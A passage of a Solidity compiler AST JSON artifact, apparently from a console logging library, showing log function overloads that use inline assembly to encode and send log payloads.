pure"}},"id":45522,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"362134:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45523,"nodeType":"ExpressionStatement","src":"362134:27:22"},{"AST":{"nativeSrc":"362180:214:22","nodeType":"YulBlock","src":"362180:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"362201:4:22","nodeType":"YulLiteral","src":"362201:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"362207:2:22","nodeType":"YulIdentifier","src":"362207:2:22"}],"functionName":{"name":"mstore","nativeSrc":"362194:6:22","nodeType":"YulIdentifier","src":"362194:6:22"},"nativeSrc":"362194:16:22","nodeType":"YulFunctionCall","src":"362194:16:22"},"nativeSrc":"362194:16:22","nodeType":"YulExpressionStatement","src":"362194:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"362230:4:22","nodeType":"YulLiteral","src":"362230:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"362236:2:22","nodeType":"YulIdentifier","src":"362236:2:22"}],"functionName":{"name":"mstore","nativeSrc":"362223:6:22","nodeType":"YulIdentifier","src":"362223:6:22"},"nativeSrc":"362223:16:22","nodeType":"YulFunctionCall","src":"362223:16:22"},"nativeSrc":"362223:16:22","nodeType":"YulExpressionStatement","src":"362223:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"362259:4:22","nodeType":"YulLiteral","src":"362259:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"362265:2:22","nodeType":"YulIdentifier","src":"362265:2:22"}],"functionName":{"name":"mstore","nativeSrc":"362252:6:22","nodeType":"YulIdentifier","src":"362252:6:22"},"nativeSrc":"362252:16:22","nodeType":"YulFunctionCall","src":"362252:16:22"},"nativeSrc":"362252:16:22","nodeType":"YulExpressionStatement","src":"362252:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"362288:4:22","nodeType":"YulLiteral","src":"362288:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"362294:2:22","nodeType":"YulIdentifier","src":"362294:2:22"}],"functionName":{"name":"mstore","nativeSrc":"362281:6:22","nodeType":"YulIdentifier","src":"362281:6:22"},"nativeSrc":"362281:16:22","nodeType":"YulFunctionCall","src":"362281:16:22"},"nativeSrc":"362281:16:22","nodeType":"YulExpressionStatement","src":"362281:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"362317:4:22","nodeType":"YulLiteral","src":"362317:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"362323:2:22","nodeType":"YulIdentifier","src":"362323:2:22"}],"functionName":{"name":"mstore","nativeSrc":"362310:6:22","nodeType":"YulIdentifier","src":"362310:6:22"},"nativeSrc":"362310:16:22","nodeType":"YulFunctionCall","src":"362310:16:22"},"nativeSrc":"362310:16:22","nodeType":"YulExpressionStatement","src":"362310:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"362346:4:22","nodeType":"YulLiteral","src":"362346:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"362352:2:22","nodeType":"YulIdentifier","src":"362352:2:22"}],"functionName":{"name":"mstore","nativeSrc":"362339:6:22","nodeType":"YulIdentifier","src":"362339:6:22"},"nativeSrc":"362339:16:22","nodeType":"YulFunctionCall","src":"362339:16:22"},"nativeSrc":"362339:16:22","nodeType":"YulExpressionStatement","src":"362339:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"362375:4:22","nodeType":"YulLiteral","src":"362375:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"362381:2:22","nodeType":"YulIdentifier","src":"362381:2:22"}],"functionName":{"name":"mstore","nativeSrc":"362368:6:22","nodeType":"YulIdentifier","src":"362368:6:22"},"nativeSrc":"362368:16:22","nodeType":"YulFunctionCall","src":"362368:16:22"},"nativeSrc":"362368:16:22","nodeType":"YulExpressionStatement","src":"362368:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45498,"isOffset":false,"isSlot":false,"src":"362207:2:22","valueSize":1},{"declaration":45501,"isOffset":false,"isSlot":false,"src":"362236:2:22","valueSize":1},{"declaration":45504,"isOffset":false,"isSlot":false,"src":"362265:2:22","valueSize":1},{"declaration":45507,"isOffset":false,"isSlot":false,"src":"362294:2:22","valueSize":1},{"declaration":45510,"isOffset":false,"isSlot":false,"src":"362323:2:22","valueSize":1},{"declaration":45513,"isOffset":false,"isSlot":false,"src":"362352:2:22","valueSize":1},{"declaration":45516,"isOffset":false,"isSlot":false,"src":"362381:2:22","valueSize":1}],"id":45524,"nodeType":"InlineAssembly","src":"362171:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"361075:3:22","parameters":{"id":45495,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45488,"mutability":"mutable","name":"p0","nameLocation":"361087:2:22","nodeType":"VariableDeclaration","scope":45526,"src":"361079:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45487,"name":"bytes32","nodeType":"ElementaryTypeName","src":"361079:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45490,"mutability":"mutable","name":"p1","nameLocation":"361099:2:22","nodeType":"VariableDeclaration","scope":45526,"src":"361091:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45489,"name":"uint256","nodeType":"ElementaryTypeName","src":"361091:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":45492,"mutability":"mutable","name":"p2","nameLocation":"361111:2:22","nodeType":"VariableDeclaration","scope":45526,"src":"361103:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45491,"name":"uint256","nodeType":"ElementaryTypeName","src":"361103:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":45494,"mutability":"mutable","name":"p3","nameLocation":"361120:2:22","nodeType":"VariableDeclaration","scope":45526,"src":"361115:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":45493,"name":"bool","nodeType":"ElementaryTypeName","src":"361115:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"361078:45:22"},"returnParameters":{"id":45496,"nodeType":"ParameterList","parameters":[],"src":"361138:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45566,"nodeType":"FunctionDefinition","src":"362406:1340:22","nodes":[],"body":{"id":45565,"nodeType":"Block","src":"362481:1265:22","nodes":[],"statements":[{"assignments":[45538],"declarations":[{"constant":false,"id":45538,"mutability":"mutable","name":"m0","nameLocation":"362499:2:22","nodeType":"VariableDeclaration","scope":45565,"src":"362491:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45537,"name":"bytes32","nodeType":"ElementaryTypeName","src":"362491:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45539,"nodeType":"VariableDeclarationStatement","src":"362491:10:22"},{"assignments":[45541],"declarations":[{"constant":false,"id":45541,"mutability":"mutable","name":"m1","nameLocation":"362519:2:22","nodeType":"VariableDeclaration","scope":45565,"src":"362511:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45540,"name":"bytes32","nodeType":"ElementaryTypeName","src":"362511:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45542,"nodeType":"VariableDeclarationStatement","src":"362511:10:22"},{"assignments":[45544],"declarations":[{"constant":false,"id":45544,"mutability":"mutable","name":"m2","nameLocation":"362539:2:22","nodeType":"VariableDeclaration","scope":45565,"src":"362531:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45543,"name":"bytes32","nodeType":"ElementaryTypeName","src":"362531:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45545,"nodeType":"VariableDeclarationStatement","src":"362531:10:22"},{"assignments":[45547],"declarations":[{"constant":false,"id":45547,"mutability":"mutable","name":"m3","nameLocation":"362559:2:22","nodeType":"VariableDeclaration","scope":45565,"src":"362551:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45546,"name":"bytes32","nodeType":"ElementaryTypeName","src":"362551:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45548,"nodeType":"VariableDeclarationStatement","src":"362551:10:22"},{"assignments":[45550],"declarations":[{"constant":false,"id":45550,"mutability":"mutable","name":"m4","nameLocation":"362579:2:22","nodeType":"VariableDeclaration","scope":45565,"src":"362571:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45549,"name":"bytes32","nodeType":"ElementaryTypeName","src":"362571:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45551,"nodeType":"VariableDeclarationStatement","src":"362571:10:22"},{"assignments":[45553],"declarations":[{"constant":false,"id":45553,"mutability":"mutable","name":"m5","nameLocation":"362599:2:22","nodeType":"VariableDeclaration","scope":45565,"src":"362591:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45552,"name":"bytes32","nodeType":"ElementaryTypeName","src":"362591:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45554,"nodeType":"VariableDeclarationStatement","src":"362591:10:22"},{"assignments":[45556],"declarations":[{"constant":false,"id":45556,"mutability":"mutable","name":"m6","nameLocation":"362619:2:22","nodeType":"VariableDeclaration","scope":45565,"src":"362611:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45555,"name":"bytes32","nodeType":"ElementaryTypeName","src":"362611:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45557,"nodeType":"VariableDeclarationStatement","src":"362611:10:22"},{"AST":{"nativeSrc":"362640:831:22","nodeType":"YulBlock","src":"362640:831:22","statements":[{"body":{"nativeSrc":"362683:313:22","nodeType":"YulBlock","src":"362683:313:22","statements":[{"nativeSrc":"362701:15:22","nodeType":"YulVariableDeclaration","src":"362701:15:22","value":{"kind":"number","nativeSrc":"362715:1:22","nodeType":"YulLiteral","src":"362715:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"362705:6:22","nodeType":"YulTypedName","src":"362705:6:22","type":""}]},{"body":{"nativeSrc":"362786:40:22","nodeType":"YulBlock","src":"362786:40:22","statements":[{"body":{"nativeSrc":"362815:9:22","nodeType":"YulBlock","src":"362815:9:22","statements":[{"nativeSrc":"362817:5:22","nodeType":"YulBreak","src":"362817:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"362803:6:22","nodeType":"YulIdentifier","src":"362803:6:22"},{"name":"w","nativeSrc":"362811:1:22","nodeType":"YulIdentifier","src":"362811:1:22"}],"functionName":{"name":"byte","nativeSrc":"362798:4:22","nodeType":"YulIdentifier","src":"362798:4:22"},"nativeSrc":"362798:15:22","nodeType":"YulFunctionCall","src":"362798:15:22"}],"functionName":{"name":"iszero","nativeSrc":"362791:6:22","nodeType":"YulIdentifier","src":"362791:6:22"},"nativeSrc":"362791:23:22","nodeType":"YulFunctionCall","src":"362791:23:22"},"nativeSrc":"362788:36:22","nodeType":"YulIf","src":"362788:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"362743:6:22","nodeType":"YulIdentifier","src":"362743:6:22"},{"kind":"number","nativeSrc":"362751:4:22","nodeType":"YulLiteral","src":"362751:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"362740:2:22","nodeType":"YulIdentifier","src":"362740:2:22"},"nativeSrc":"362740:16:22","nodeType":"YulFunctionCall","src":"362740:16:22"},"nativeSrc":"362733:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"362757:28:22","nodeType":"YulBlock","src":"362757:28:22","statements":[{"nativeSrc":"362759:24:22","nodeType":"YulAssignment","src":"362759:24:22","value":{"arguments":[{"name":"length","nativeSrc":"362773:6:22","nodeType":"YulIdentifier","src":"362773:6:22"},{"kind":"number","nativeSrc":"362781:1:22","nodeType":"YulLiteral","src":"362781:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"362769:3:22","nodeType":"YulIdentifier","src":"362769:3:22"},"nativeSrc":"362769:14:22","nodeType":"YulFunctionCall","src":"362769:14:22"},"variableNames":[{"name":"length","nativeSrc":"362759:6:22","nodeType":"YulIdentifier","src":"362759:6:22"}]}]},"pre":{"nativeSrc":"362737:2:22","nodeType":"YulBlock","src":"362737:2:22","statements":[]},"src":"362733:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"362850:3:22","nodeType":"YulIdentifier","src":"362850:3:22"},{"name":"length","nativeSrc":"362855:6:22","nodeType":"YulIdentifier","src":"362855:6:22"}],"functionName":{"name":"mstore","nativeSrc":"362843:6:22","nodeType":"YulIdentifier","src":"362843:6:22"},"nativeSrc":"362843:19:22","nodeType":"YulFunctionCall","src":"362843:19:22"},"nativeSrc":"362843:19:22","nodeType":"YulExpressionStatement","src":"362843:19:22"},{"nativeSrc":"362879:37:22","nodeType":"YulVariableDeclaration","src":"362879:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"362896:3:22","nodeType":"YulLiteral","src":"362896:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"362905:1:22","nodeType":"YulLiteral","src":"362905:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"362908:6:22","nodeType":"YulIdentifier","src":"362908:6:22"}],"functionName":{"name":"shl","nativeSrc":"362901:3:22","nodeType":"YulIdentifier","src":"362901:3:22"},"nativeSrc":"362901:14:22","nodeType":"YulFunctionCall","src":"362901:14:22"}],"functionName":{"name":"sub","nativeSrc":"362892:3:22","nodeType":"YulIdentifier","src":"362892:3:22"},"nativeSrc":"362892:24:22","nodeType":"YulFunctionCall","src":"362892:24:22"},"variables":[{"name":"shift","nativeSrc":"362883:5:22","nodeType":"YulTypedName","src":"362883:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"362944:3:22","nodeType":"YulIdentifier","src":"362944:3:22"},{"kind":"number","nativeSrc":"362949:4:22","nodeType":"YulLiteral","src":"362949:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"362940:3:22","nodeType":"YulIdentifier","src":"362940:3:22"},"nativeSrc":"362940:14:22","nodeType":"YulFunctionCall","src":"362940:14:22"},{"arguments":[{"name":"shift","nativeSrc":"362960:5:22","nodeType":"YulIdentifier","src":"362960:5:22"},{"arguments":[{"name":"shift","nativeSrc":"362971:5:22","nodeType":"YulIdentifier","src":"362971:5:22"},{"name":"w","nativeSrc":"362978:1:22","nodeType":"YulIdentifier","src":"362978:1:22"}],"functionName":{"name":"shr","nativeSrc":"362967:3:22","nodeType":"YulIdentifier","src":"362967:3:22"},"nativeSrc":"362967:13:22","nodeType":"YulFunctionCall","src":"362967:13:22"}],"functionName":{"name":"shl","nativeSrc":"362956:3:22","nodeType":"YulIdentifier","src":"362956:3:22"},"nativeSrc":"362956:25:22","nodeType":"YulFunctionCall","src":"362956:25:22"}],"functionName":{"name":"mstore","nativeSrc":"362933:6:22","nodeType":"YulIdentifier","src":"362933:6:22"},"nativeSrc":"362933:49:22","nodeType":"YulFunctionCall","src":"362933:49:22"},"nativeSrc":"362933:49:22","nodeType":"YulExpressionStatement","src":"362933:49:22"}]},"name":"writeString","nativeSrc":"362654:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"362675:3:22","nodeType":"YulTypedName","src":"362675:3:22","type":""},{"name":"w","nativeSrc":"362680:1:22","nodeType":"YulTypedName","src":"362680:1:22","type":""}],"src":"362654:342:22"},{"nativeSrc":"363009:17:22","nodeType":"YulAssignment","src":"363009:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"363021:4:22","nodeType":"YulLiteral","src":"363021:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"363015:5:22","nodeType":"YulIdentifier","src":"363015:5:22"},"nativeSrc":"363015:11:22","nodeType":"YulFunctionCall","src":"363015:11:22"},"variableNames":[{"name":"m0","nativeSrc":"363009:2:22","nodeType":"YulIdentifier","src":"363009:2:22"}]},{"nativeSrc":"363039:17:22","nodeType":"YulAssignment","src":"363039:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"363051:4:22","nodeType":"YulLiteral","src":"363051:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"363045:5:22","nodeType":"YulIdentifier","src":"363045:5:22"},"nativeSrc":"363045:11:22","nodeType":"YulFunctionCall","src":"363045:11:22"},"variableNames":[{"name":"m1","nativeSrc":"363039:2:22","nodeType":"YulIdentifier","src":"363039:2:22"}]},{"nativeSrc":"363069:17:22","nodeType":"YulAssignment","src":"363069:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"363081:4:22","nodeType":"YulLiteral","src":"363081:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"363075:5:22","nodeType":"YulIdentifier","src":"363075:5:22"},"nativeSrc":"363075:11:22","nodeType":"YulFunctionCall","src":"363075:11:22"},"variableNames":[{"name":"m2","nativeSrc":"363069:2:22","nodeType":"YulIdentifier","src":"363069:2:22"}]},{"nativeSrc":"363099:17:22","nodeType":"YulAssignment","src":"363099:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"363111:4:22","nodeType":"YulLiteral","src":"363111:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"363105:5:22","nodeType":"YulIdentifier","src":"363105:5:22"},"nativeSrc":"363105:11:22","nodeType":"YulFunctionCall","src":"363105:11:22"},"variableNames":[{"name":"m3","nativeSrc":"363099:2:22","nodeType":"YulIdentifier","src":"363099:2:22"}]},{"nativeSrc":"363129:17:22","nodeType":"YulAssignment","src":"363129:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"363141:4:22","nodeType":"YulLiteral","src":"363141:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"363135:5:22","nodeType":"YulIdentifier","src":"363135:5:22"},"nativeSrc":"363135:11:22","nodeType":"YulFunctionCall","src":"363135:11:22"},"variableNames":[{"name":"m4","nativeSrc":"363129:2:22","nodeType":"YulIdentifier","src":"363129:2:22"}]},{"nativeSrc":"363159:17:22","nodeType":"YulAssignment","src":"363159:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"363171:4:22","nodeType":"YulLiteral","src":"363171:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"363165:5:22","nodeType":"YulIdentifier","src":"363165:5:22"},"nativeSrc":"363165:11:22","nodeType":"YulFunctionCall","src":"363165:11:22"},"variableNames":[{"name":"m5","nativeSrc":"363159:2:22","nodeType":"YulIdentifier","src":"363159:2:22"}]},{"nativeSrc":"363189:17:22","nodeType":"YulAssignment","src":"363189:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"363201:4:22","nodeType":"YulLiteral","src":"363201:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"363195:5:22","nodeType":"YulIdentifier","src":"363195:5:22"},"nativeSrc":"363195:11:22","nodeType":"YulFunctionCall","src":"363195:11:22"},"variableNames":[{"name":"m6","nativeSrc":"363189:2:22","nodeType":"YulIdentifier","src":"363189:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"363292:4:22","nodeType":"YulLiteral","src":"363292:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"363298:10:22","nodeType":"YulLiteral","src":"363298:10:22","type":"","value":"0xa7a87853"}],"functionName":{"name":"mstore","nativeSrc":"363285:6:22","nodeType":"YulIdentifier","src":"363285:6:22"},"nativeSrc":"363285:24:22","nodeType":"YulFunctionCall","src":"363285:24:22"},"nativeSrc":"363285:24:22","nodeType":"YulExpressionStatement","src":"363285:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"363329:4:22","nodeType":"YulLiteral","src":"363329:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"363335:4:22","nodeType":"YulLiteral","src":"363335:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"363322:6:22","nodeType":"YulIdentifier","src":"363322:6:22"},"nativeSrc":"363322:18:22","nodeType":"YulFunctionCall","src":"363322:18:22"},"nativeSrc":"363322:18:22","nodeType":"YulExpressionStatement","src":"363322:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"363360:4:22","nodeType":"YulLiteral","src":"363360:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"363366:2:22","nodeType":"YulIdentifier","src":"363366:2:22"}],"functionName":{"name":"mstore","nativeSrc":"363353:6:22","nodeType":"YulIdentifier","src":"363353:6:22"},"nativeSrc":"363353:16:22","nodeType":"YulFunctionCall","src":"363353:16:22"},"nativeSrc":"363353:16:22","nodeType":"YulExpressionStatement","src":"363353:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"363389:4:22","nodeType":"YulLiteral","src":"363389:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"363395:2:22","nodeType":"YulIdentifier","src":"363395:2:22"}],"functionName":{"name":"mstore","nativeSrc":"363382:6:22","nodeType":"YulIdentifier","src":"363382:6:22"},"nativeSrc":"363382:16:22","nodeType":"YulFunctionCall","src":"363382:16:22"},"nativeSrc":"363382:16:22","nodeType":"YulExpressionStatement","src":"363382:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"363418:4:22","nodeType":"YulLiteral","src":"363418:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"363424:2:22","nodeType":"YulIdentifier","src":"363424:2:22"}],"functionName":{"name":"mstore","nativeSrc":"363411:6:22","nodeType":"YulIdentifier","src":"363411:6:22"},"nativeSrc":"363411:16:22","nodeType":"YulFunctionCall","src":"363411:16:22"},"nativeSrc":"363411:16:22","nodeType":"YulExpressionStatement","src":"363411:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"363452:4:22","nodeType":"YulLiteral","src":"363452:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"363458:2:22","nodeType":"YulIdentifier","src":"363458:2:22"}],"functionName":{"name":"writeString","nativeSrc":"363440:11:22","nodeType":"YulIdentifier","src":"363440:11:22"},"nativeSrc":"363440:21:22","nodeType":"YulFunctionCall","src":"363440:21:22"},"nativeSrc":"363440:21:22","nodeType":"YulExpressionStatement","src":"363440:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45538,"isOffset":false,"isSlot":false,"src":"363009:2:22","valueSize":1},{"declaration":45541,"isOffset":false,"isSlot":false,"src":"363039:2:22","valueSize":1},{"declaration":45544,"isOffset":false,"isSlot":false,"src":"363069:2:22","valueSize":1},{"declaration":45547,"isOffset":false,"isSlot":false,"src":"363099:2:22","valueSize":1},{"declaration":45550,"isOffset":false,"isSlot":false,"src":"363129:2:22","valueSize":1},{"declaration":45553,"isOffset":false,"isSlot":false,"src":"363159:2:22","valueSize":1},{"declaration":45556,"isOffset":false,"isSlot":false,"src":"363189:2:22","valueSize":1},{"declaration":45528,"isOffset":false,"isSlot":false,"src":"363458:2:22","valueSize":1},{"declaration":45530,"isOffset":false,"isSlot":false,"src":"363366:2:22","valueSize":1},{"declaration":45532,"isOffset":false,"isSlot":false,"src":"363395:2:22","valueSize":1},{"declaration":45534,"isOffset":false,"isSlot":false,"src":"363424:2:22","valueSize":1}],"id":45558,"nodeType":"InlineAssembly","src":"362631:840:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45560,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"363496:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":45561,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"363502:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":45559,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"363480:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":45562,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"363480:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45563,"nodeType":"ExpressionStatement","src":"363480:27:22"},{"AST":{"nativeSrc":"363526:214:22","nodeType":"YulBlock","src":"363526:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"363547:4:22","nodeType":"YulLiteral","src":"363547:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"363553:2:22","nodeType":"YulIdentifier","src":"363553:2:22"}],"functionName":{"name":"mstore","nativeSrc":"363540:6:22","nodeType":"YulIdentifier","src":"363540:6:22"},"nativeSrc":"363540:16:22","nodeType":"YulFunctionCall","src":"363540:16:22"},"nativeSrc":"363540:16:22","nodeType":"YulExpressionStatement","src":"363540:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"363576:4:22","nodeType":"YulLiteral","src":"363576:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"363582:2:22","nodeType":"YulIdentifier","src":"363582:2:22"}],"functionName":{"name":"mstore","nativeSrc":"363569:6:22","nodeType":"YulIdentifier","src":"363569:6:22"},"nativeSrc":"363569:16:22","nodeType":"YulFunctionCall","src":"363569:16:22"},"nativeSrc":"363569:16:22","nodeType":"YulExpressionStatement","src":"363569:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"363605:4:22","nodeType":"YulLiteral","src":"363605:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"363611:2:22","nodeType":"YulIdentifier","src":"363611:2:22"}],"functionName":{"name":"mstore","nativeSrc":"363598:6:22","nodeType":"YulIdentifier","src":"363598:6:22"},"nativeSrc":"363598:16:22","nodeType":"YulFunctionCall","src":"363598:16:22"},"nativeSrc":"363598:16:22","nodeType":"YulExpressionStatement","src":"363598:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"363634:4:22","nodeType":"YulLiteral","src":"363634:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"363640:2:22","nodeType":"YulIdentifier","src":"363640:2:22"}],"functionName":{"name":"mstore","nativeSrc":"363627:6:22","nodeType":"YulIdentifier","src":"363627:6:22"},"nativeSrc":"363627:16:22","nodeType":"YulFunctionCall","src":"363627:16:22"},"nativeSrc":"363627:16:22","nodeType":"YulExpressionStatement","src":"363627:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"363663:4:22","nodeType":"YulLiteral","src":"363663:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"363669:2:22","nodeType":"YulIdentifier","src":"363669:2:22"}],"functionName":{"name":"mstore","nativeSrc":"363656:6:22","nodeType":"YulIdentifier","src":"363656:6:22"},"nativeSrc":"363656:16:22","nodeType":"YulFunctionCall","src":"363656:16:22"},"nativeSrc":"363656:16:22","nodeType":"YulExpressionStatement","src":"363656:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"363692:4:22","nodeType":"YulLiteral","src":"363692:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"363698:2:22","nodeType":"YulIdentifier","src":"363698:2:22"}],"functionName":{"name":"mstore","nativeSrc":"363685:6:22","nodeType":"YulIdentifier","src":"363685:6:22"},"nativeSrc":"363685:16:22","nodeType":"YulFunctionCall","src":"363685:16:22"},"nativeSrc":"363685:16:22","nodeType":"YulExpressionStatement","src":"363685:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"363721:4:22","nodeType":"YulLiteral","src":"363721:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"363727:2:22","nodeType":"YulIdentifier","src":"363727:2:22"}],"functionName":{"name":"mstore","nativeSrc":"363714:6:22","nodeType":"YulIdentifier","src":"363714:6:22"},"nativeSrc":"363714:16:22","nodeType":"YulFunctionCall","src":"363714:16:22"},"nativeSrc":"363714:16:22","nodeType":"YulExpressionStatement","src":"363714:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45538,"isOffset":false,"isSlot":false,"src":"363553:2:22","valueSize":1},{"declaration":45541,"isOffset":false,"isSlot":false,"src":"363582:2:22","valueSize":1},{"declaration":45544,"isOffset":false,"isSlot":false,"src":"3